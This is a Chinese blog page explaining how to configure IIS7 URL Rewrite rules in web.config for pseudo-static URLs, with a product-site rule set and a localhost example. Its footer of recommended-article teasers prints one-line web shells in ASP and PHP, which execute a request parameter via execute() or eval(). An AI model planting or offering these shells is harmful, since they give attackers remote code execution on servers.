IIS7 做伪静态比较的简单方便

1.程序方面
只需要设置web.config 就可以了。
2.服务器需要安装:URL Rewrite
下载地址:http://www.iis.net/download/URLRewrite
Godaddy 的主机已经安装这个插件。
本地在测试的时候 请查看自己是否安装这个插件。
 
注意要点
1.参数用“()” 括起来 ,使用 {R:1}来获得参数
2.多个参数中间用 & 分割
3.name切记不能写一样 
<?xml version="1.0"?>

<configuration>
<system.webServer>
<rewrite>
<rules>
<!--301重定向把不带3W的域名 定向到带3W-->
<rule name="Redirect" stopProcessing="true">
<match url=".*" />
<conditions>
<add input="{HTTP_HOST}" pattern="^haoxinwen.info$" />
</conditions>
<action type="Redirect" url="http://www.haoxinwen.info/{R:0}" redirectType="Permanent" />
</rule>
<!--首页-->
<rule name="rD">
<match url="^$" />
<action type="Rewrite" url="Default.aspx" />
</rule>
<!--产品列表-->
<rule name="rP">
<match url="^product/$" />
<action type="Rewrite" url="ProductList.aspx" />
</rule>
<!--产品列表第几页-->
<rule name="rPL">
<match url="^product/list-([0-9]*).html$" />
<action type="Rewrite" url="ProductList.aspx?page={R:1}" />
</rule>
<!--产品类别列表-->
<rule name="rPT">
<match url="^product/([A-Za-z0-9-]*)/$" />
<action type="Rewrite" url="ProductList.aspx?typeUrl={R:1}" />
</rule>
<!--产品类别列表第几页-->
<rule name="rPTL2">
<match url="^product/([A-Za-z0-9-]*)/list-([0-9]*).html$" />
<action type="Rewrite" url="ProductList.aspx?typeUrl={R:1}&page={R:2}" />
</rule>
<!--产品详细-->
<rule name="rPd">
<match url="^product/([A-Za-z0-9-]*)/([A-Za-z0-9-]+).html$" />
<action type="Rewrite" url="ProductDetail.aspx?typeUrl={R:1}&url={R:2}" />
</rule>
</rules>
</rewrite>
</system.webServer>
</configuration>

  

IIS7 伪静态 web.config 配置方法
iis6 伪静态 iis配置方法 图解
iis6 web.config 伪静态配置方法

举个栗子:

安装URL Rewrite

在iis新建了一个叫做hello的站点,端口:8088

站点目录新建一个index.html文件

<h1>hello world</h1>

  

启动站点,浏览器输入:http://localhost:8088/

ok,站点已经成功运行

打开站点目录,新建一个web.config 文件

<?xml version="1.0"?>
<configuration>
<system.webServer>
<rewrite>
<rules>
<!--我的规则-->
<rule name="myrule">
<match url="^hello$" />
<action type="Rewrite" url="index.html" />
</rule>
<!--我的规则2-->
<rule name="myrule2">
<match url="^jy/good$" />
<action type="Rewrite" url="jy/good.html" />
</rule>
</rules>
</rewrite>
</system.webServer>
</configuration>

ps:安装 URL Rewrite 后才可以使用rewrite标签

启动站点,打开浏览器,输入路由地址:http://localhost:8088/jy/good

然后会匹配到站点的 jy/good.html 文件,如下:

good.html

<h1>Good</h1>

  

浏览器显示:

参考:https://www.cnblogs.com/yanzhen/archive/2012/01/07/iis7-wei-jing-tai.html

IIS7 伪静态 web.config 配置方法【详解】的更多相关文章

  1. IIS7 伪静态 web.config 配置方法

    <rule name="Redirect" stopProcessing="true"> <match url=".*" ...

  2. 局域网内远程连接OPC配置方法详解

    局域网内远程连接OPC配置方法详解 https://wenku.baidu.com/view/20fb8ea6d1d233d4b14e852458fb770bf78a3bcc.html   OPC服务 ...

  3. 【Python】Linux crontab定时任务配置方法(详解)

    CRONTAB概念/介绍 crontab命令用于设置周期性被执行的指令.该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行. cron 系统调度进程. 可以使用它在 ...

  4. Tomcat web.xml配置参数详解

    Apache Tomcat Configuration Reference - The Context Containerhttps://tomcat.apache.org/tomcat-5.5-do ...

  5. Linux操作系统下IPTables配置方法详解

    如果你的IPTABLES基础知识还不了解,建议先去看看. 们来配置一个filter表的防火墙 1.查看本机关于IPTABLES的设置情况 [root@tp ~]# iptables -L -n Cha ...

  6. caffe-windows环境配置(github上官方BVLC/caffe的推荐配置方法详解)

    [转载来的文章:如有侵权,请联系我!我将马上删除!] 首先声明一下,如标题,本教程是caffe在windows系统上的配置方法,而且是github上官方BVLC/caffe目前推荐的配置方法,并不是使 ...

  7. CentOS防火墙iptables的配置方法详解

    CentOS系统也是基于linux中的它的防火墙其实就是iptables了,下面我来介绍在CentOS防火墙iptables的配置教程,希望此教程对各位朋友会有所帮助. iptables是与Linux ...

  8. servlet两种配置方法详解

     1.web.xml中Servlet的注解 <servlet> <!-- servlet的内部名称,自定义 --> <servlet-name>DemoAction ...

  9. servlet web.xml配置选项详解

    一般的web工程中都会用到web.xml,web.xml主要包括一些配置标签,例如Filter.Listener.Servlet等,可以用来预设容器的配置,可以方便的开发web工程.但是web.xml ...

随机推荐

  1. H3C S3600V2 通过CONSOLE配置端口镜像

    前24口为百兆口 对应序号为 Ethernet 1/0/(0~24) 25 26为千兆口 对应序号为 GigabitEthernet 1/0/(25~26) 以下是通过25号千兆口监听1号百兆口的例子 ...

  2. PHP导出XML格式的EXCEL

    <?php function Export(){ set_time_limit(0); ob_start(); $biz = new ZaikuBiz(); $biz->setSearch ...

  3. fastjson反序列化漏洞研究(下)

    之前的文章显示字符太多 拒绝显示  只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...

  4. [新手必备]Python 基础入门必学知识点笔记

    Python 作为近几年越来越流行的语言,吸引了大量的学员开始学习,为了方便新手小白在学习过程中,更加快捷方便的查漏补缺.根据网上各种乱七八糟的资料以及实验楼的 Python 基础内容整理了一份极度适 ...

  5. array_push

    array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度. 该函数等于多次调用 $array[] = $value. 1:即使数组中有字符串键名,您添加的元 ...

  6. SSH安全协议

    SSHD服务 介绍:SSH 协议:安全外壳协议.为 Secure Shell 的缩写.SSH 为建立在应用层和传输层基础上的安全协议. 默认端口22 作用 sshd服务使用SSH协议可以用来进行远程控 ...

  7. 简单的一句话木马(asp aspx php)

    一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...

  8. Caused by: java.lang.IllegalStateException: Ambiguous mapping found

    Caused by: java.lang.IllegalStateException: Ambiguous mapping found. Cannot map ‘myCockpitMgrControl ...

  9. Linux PAM 之cracklib模块

       如何在Linux系统中限制密码长度的同时对密码的复杂程度也进行管理,最近发现有人的密码符合长度规则,但是却很简单很容易被猜出来,查了相关资料后发现了PAM中的pam_cracklib模块就是用来 ...

  10. luoguP3768简单的数学题

    大佬们绕道吧(或跳到错误&启发后下一根横线后) 这道题吧正解是莫比乌斯反演吧,但本人有一种独创玄妙的想法去偏分 这道题是让我们求这个对吧 \((\sum_{i=1}^n\sum_{j=1}^n ...